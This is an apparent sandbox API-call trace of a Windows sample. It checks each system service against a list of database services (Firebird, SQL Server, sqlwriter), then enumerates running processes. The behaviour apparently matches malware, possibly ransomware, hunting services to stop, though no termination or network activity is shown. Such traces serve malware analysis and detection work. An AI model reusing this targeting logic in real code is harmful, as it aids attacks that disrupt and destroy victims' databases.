	[0168.006] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0168.006] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0168.006] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0168.006] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0168.006] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0168.006] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0168.006] lstrlenW (lpString="CryptSvc") returned 8
	[0168.006] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0168.006] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0168.006] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0168.006] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0168.006] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0168.006] lstrlenW (lpString="DcomLaunch") returned 10
	[0168.006] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0168.006] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0168.006] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0168.006] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0168.006] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0168.006] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0168.006] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0168.006] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0168.006] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0168.006] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0168.006] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0168.006] lstrlenW (lpString="Dhcp") returned 4
	[0168.006] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0168.007] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0168.007] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0168.007] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0168.007] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0168.007] lstrlenW (lpString="Dnscache") returned 8
	[0168.007] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0168.007] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0168.007] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0168.007] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0168.007] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0168.007] lstrlenW (lpString="DPS") returned 3
	[0168.007] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0168.007] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0168.007] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0168.007] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0168.007] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0168.007] lstrlenW (lpString="DsmSvc") returned 6
	[0168.007] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DsmSvc") returned 1
	[0168.007] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DsmSvc") returned 1
	[0168.007] lstrcmpiW (lpString1="sqlwriter", lpString2="DsmSvc") returned 1
	[0168.007] lstrcmpiW (lpString1="mssqlserver", lpString2="DsmSvc") returned 1
	[0168.007] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DsmSvc") returned 1
	[0168.007] lstrlenW (lpString="DusmSvc") returned 7
	[0168.007] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0168.007] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0168.007] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0168.007] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0168.007] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0168.007] lstrlenW (lpString="EventLog") returned 8
	[0168.007] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0168.007] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0168.007] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0168.008] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0168.008] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0168.008] lstrlenW (lpString="EventSystem") returned 11
	[0168.008] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0168.008] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0168.008] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0168.008] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0168.008] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0168.008] lstrlenW (lpString="FontCache") returned 9
	[0168.008] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0168.008] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0168.008] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0168.008] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0168.008] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0168.008] lstrlenW (lpString="gpsvc") returned 5
	[0168.008] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0168.008] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0168.008] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0168.008] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0168.008] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0168.008] lstrlenW (lpString="iphlpsvc") returned 8
	[0168.008] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0168.008] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0168.008] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0168.008] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0168.008] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0168.008] lstrlenW (lpString="KeyIso") returned 6
	[0168.008] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0168.008] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0168.008] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0168.008] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0168.009] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0168.009] lstrlenW (lpString="LanmanServer") returned 12
	[0168.009] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0168.009] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0168.009] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0168.009] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0168.009] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0168.009] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0168.009] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0168.009] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0168.009] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0168.009] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0168.009] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0168.009] lstrlenW (lpString="lfsvc") returned 5
	[0168.009] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0168.009] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0168.009] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0168.009] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0168.009] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0168.009] lstrlenW (lpString="lmhosts") returned 7
	[0168.009] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0168.009] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0168.009] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0168.009] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0168.009] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0168.009] lstrlenW (lpString="LSM") returned 3
	[0168.009] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0168.009] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0168.009] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0168.009] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0168.009] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0168.009] lstrlenW (lpString="MpsSvc") returned 6
	[0168.009] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0168.010] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0168.010] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0168.010] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0168.010] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0168.010] lstrlenW (lpString="NcbService") returned 10
	[0168.010] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0168.010] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0168.010] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0168.010] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0168.010] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0168.010] lstrlenW (lpString="netprofm") returned 8
	[0168.010] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0168.010] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0168.011] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0168.011] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0168.011] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0168.011] lstrlenW (lpString="NgcSvc") returned 6
	[0168.011] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0168.011] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0168.011] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0168.011] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0168.011] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0168.011] lstrlenW (lpString="NlaSvc") returned 6
	[0168.011] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0168.011] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0168.011] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0168.011] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0168.011] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0168.011] lstrlenW (lpString="nsi") returned 3
	[0168.011] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0168.011] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0168.011] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0168.012] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0168.012] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0168.012] lstrlenW (lpString="PcaSvc") returned 6
	[0168.012] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0168.012] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0168.012] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0168.012] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0168.012] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0168.012] lstrlenW (lpString="PlugPlay") returned 8
	[0168.012] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0168.012] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0168.012] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0168.012] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0168.012] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0168.012] lstrlenW (lpString="Power") returned 5
	[0168.012] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0168.012] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0168.012] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0168.012] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0168.012] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0168.012] lstrlenW (lpString="ProfSvc") returned 7
	[0168.012] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0168.012] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0168.012] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0168.012] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0168.012] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0168.012] lstrlenW (lpString="RpcEptMapper") returned 12
	[0168.012] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0168.012] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0168.012] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0168.012] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0168.012] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0168.013] lstrlenW (lpString="RpcSs") returned 5
	[0168.013] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0168.013] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0168.013] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0168.013] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0168.013] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0168.013] lstrlenW (lpString="SamSs") returned 5
	[0168.013] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0168.013] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0168.013] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0168.013] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0168.013] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0168.013] lstrlenW (lpString="Schedule") returned 8
	[0168.013] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0168.013] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0168.013] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0168.013] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0168.013] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0168.013] lstrlenW (lpString="SecurityHealthService") returned 21
	[0168.013] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0168.013] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0168.013] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0168.013] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0168.013] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0168.013] lstrlenW (lpString="SENS") returned 4
	[0168.013] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0168.013] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0168.013] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0168.013] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0168.013] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0168.013] lstrlenW (lpString="ShellHWDetection") returned 16
	[0168.013] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0168.013] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0168.014] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0168.014] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0168.014] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0168.014] lstrlenW (lpString="Spooler") returned 7
	[0168.014] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0168.014] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0168.014] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0168.014] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0168.014] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0168.014] lstrlenW (lpString="StateRepository") returned 15
	[0168.014] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0168.014] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0168.014] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0168.014] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0168.014] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0168.014] lstrlenW (lpString="SysMain") returned 7
	[0168.014] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0168.014] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0168.014] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0168.014] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0168.014] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0168.014] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0168.014] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0168.014] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0168.014] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0168.014] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0168.014] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0168.014] lstrlenW (lpString="Themes") returned 6
	[0168.014] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0168.014] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0168.014] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0168.014] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0168.015] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0168.015] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0168.015] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0168.015] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0168.015] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0168.015] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0168.015] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44378b8 | out: hHeap=0x610000) returned 1
	[0168.015] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x46c
	[0168.174] Process32FirstW (in: hSnapshot=0x46c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0168.174] Process32NextW (in: hSnapshot=0x46c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0168.175] lstrlenW (lpString="System") returned 6
	[0168.175] Process32NextW (in: hSnapshot=0x46c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0168.175] lstrlenW (lpString="smss.exe") returned 8
	[0168.175] Process32NextW (in: hSnapshot=0x46c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0168.176] lstrlenW (lpString="csrss.exe") returned 9
	[0168.176] Process32NextW (in: hSnapshot=0x46c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0168.176] lstrlenW (lpString="wininit.exe") returned 11
	[0168.176] Process32NextW (in: hSnapshot=0x46c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0168.177] lstrlenW (lpString="csrss.exe") returned 9
	[0168.177] Process32NextW (in: hSnapshot=0x46c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0168.177] lstrlenW (lpString="winlogon.exe") returned 12
	[0168.177] Process32NextW (in: hSnapshot=0x46c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0168.178] lstrlenW (lpString="services.exe") returned 12
	[0168.178] Process32NextW (in: hSnapshot=0x46c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0168.178] lstrlenW (lpString="lsass.exe") returned 9
	[0168.178] Process32NextW (in: hSnapshot=0x46c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0168.179] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0168.179] Process32NextW (in: hSnapshot=0x46c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0168.179] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0168.179] Process32NextW (in: hSnapshot=0x46c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0168.180] lstrlenW (lpString="svchost.exe") returned 11
	[0168.180] Process32NextW (in: hSnapshot=0x46c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0168.180] lstrlenW (lpString="svchost.exe") returned 11
	[0168.180] Process32NextW (in: hSnapshot=0x46c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0168.181] lstrlenW (lpString="dwm.exe") returned 7
	[0168.181] Process32NextW (in: hSnapshot=0x46c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0168.181] lstrlenW (lpString="svchost.exe") returned 11
